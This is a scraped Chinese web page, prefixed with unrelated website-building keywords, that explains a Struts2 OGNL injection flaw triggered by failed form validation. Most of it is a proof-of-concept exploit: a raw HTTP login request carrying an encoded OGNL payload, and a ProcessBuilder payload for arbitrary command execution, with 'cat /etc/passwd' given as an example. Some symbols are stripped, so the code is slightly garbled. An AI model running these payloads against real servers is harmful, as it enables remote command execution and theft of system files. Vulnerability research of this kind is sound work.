下载免费网站模板下载安装,网站登录界面html,山西晋城网站建设,唐山网站建设多少钱该漏洞因为用户提交表单数据并且验证失败时#xff0c;后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析#xff0c;然后重新填充到对应的表单数据中。例如注册或登录页面#xff0c;提交失败后端一般会默认返回之前提交的数据#xff0c;由于后端使用 %{v… 该漏洞因为用户提交表单数据并且验证失败时后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析然后重新填充到对应的表单数据中。例如注册或登录页面提交失败后端一般会默认返回之前提交的数据由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析所以可以直接构造 Payload 进行命令执行 ## POC EXP POST /login.action;jsessionidE22A52FF56D1BDAE1E25D5F2BE7ADA3E HTTP/1.1 Host: 192.168.188.139:8080 Content-Length: 347 Cache-Control: max-age0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.188.139:8080 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7 Referer: http://192.168.188.139:8080/ Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q0.9 Cookie: JSESSIONIDE22A52FF56D1BDAE1E25D5F2BE7ADA3E Connection: closeusernameadministratorpassword%2525%257b%2523req%253d%2540org.apache.struts2.ServletActionContext%2540getRequest()%252c%2523response%253d%2523context.get(%2522com.opensymphony.xwork2.dispatcher.HttpServletResponse%2522).getWriter()%252c%2523response.println(%2523req.getRealPath(%252f))%252c%2523response.flush()%252c%2523response.close()%257d 执行任意命令命令加参数new java.lang.String[]{cat,/etc/passwd} %{#a(new java.lang.ProcessBuilder(new java.lang.String[]{pwd})).redirectErrorStream(true).start(),#b#a.getInputStream(),#cnew java.io.InputStreamReader(#b),#dnew java.io.BufferedReader(#c),#enew char[50000],#d.read(#e),#f#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}